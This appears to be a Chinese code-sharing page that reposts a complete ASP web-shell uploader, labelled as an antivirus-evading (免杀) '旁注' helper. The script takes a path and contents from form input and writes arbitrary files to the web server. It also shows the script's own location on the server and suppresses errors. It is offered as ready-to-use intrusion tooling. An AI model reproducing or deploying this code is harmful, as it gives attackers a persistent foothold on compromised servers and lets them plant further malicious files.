旁注-网站小助手旭方修改免杀asp版
<%@language="vbscript" codepage="936"%>
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=gb2312">
<title>旁注 - 网站小助手旭方修改免杀版</title>
<style type="text/css">
<!--
.black {
font-family: "宋体";
font-size: 12px;
color: #000000;
text-decoration: none;
line-height: 120%;}
-->
</style>
<style type="text/css">
<!--
a:link {
font-family: "宋体";
font-size: 12px;
color: #00cc00;
text-decoration: none;
}
a:visited {
font-family: "宋体";
font-size: 12px;
color: #00cc00;
text-decoration: none;
}
a:hover {
font-family: "宋体";
font-size: 12px;
color: #333333;
text-decoration: none;
}
-->
</style>
</head>
<body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<p>
<% dim fso %>
<% dim data %>
<% dim myfile %>
<% on error resume next %>
<% set fso = server.createobject("scripting.filesystemobject") %>
<% if trim(request("path1"))<>"" then %>
<% data = request("path2") %>
<% set myfile=fso.createtextfile(request("path1"),true) %>
<% myfile.write data %>
<% if err =0 then %>
<% response.write "<font color=#ffff00>成功啦! :)</font>" %>
<% else %>
<% response.write "<font color=#ffff00>失败啦! :(</font>" %>
<% end if %>
<% err.clear %>
<% end if %>
<% myfile.close %>
<% set myfile=nothing %>
<% set fso = nothing %>
<% response.write "</form>" %>
</p>
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0" bordercolor="#ffffff">
<tr>
<td height="100%">
<table width="100%" border="0" cellpadding="0" cellspacing="0" bgcolor="#ffffff">
<tr>
<td><table width="700" border="0" align="center" cellpadding="0" cellspacing="1">
<tr>
<td bgcolor="#ffffff"><span class="black">
<% response.write "本文件在服务器上的方位:" %>
<%=server.mappath(request.servervariables("script_name")) %>
<br>
<% response.write "<form action='''' method=post>" %>
</span> </td>
</tr>
<tr>
<td bgcolor="#ffffff"><span class="black">输入路径：<% response.write "<input type=text name=path1 width=200 size=81>" %>
</span></td>
</tr>
<tr>
<td bgcolor="#ffffff" class="black">
<% response.write "输入内容：" %>
<% response.write "<textarea name=path2 cols=80 rows=15 width=32></textarea>" %>
</td>
</tr>
<tr>
<td bgcolor="#ffffff"><div align="center"><span class="black">
<% response.write "<input type=submit value=西天取经>" %>
</span></div></td>
</tr>
</tr>
<td bgcolor="#ffffff" class="black"><div align="center"></a></div></td>
</tr>
</table></td>
</tr>
</table></td>
</tr>
</table>
</body>
</html>
上一篇： asp复制文件夹代码
下一篇： ASP中类Class相关内容的整理资料